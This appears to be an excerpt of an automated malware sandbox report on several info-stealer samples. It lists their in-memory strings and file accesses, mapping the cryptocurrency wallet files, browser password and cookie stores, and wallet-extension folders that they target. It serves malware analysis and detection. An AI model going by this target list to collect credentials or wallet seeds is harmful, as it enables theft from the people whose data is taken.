Source: AWrVzd6XpC.exe	String found in binary or memory: window-state.json
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: AWrVzd6XpC.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B95000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: info.seco
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B95000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: AWrVzd6XpC.exe	String found in binary or memory: ExodusWeb3
Source: AWrVzd6XpC.exe	String found in binary or memory: Wallets/Ethereum
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B95000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: file__0.localstorage
Source: AWrVzd6XpC.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B95000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B95000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: MultiDoge
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B95000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: seed.seco
Source: AWrVzd6XpC.exe	String found in binary or memory: keystore
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
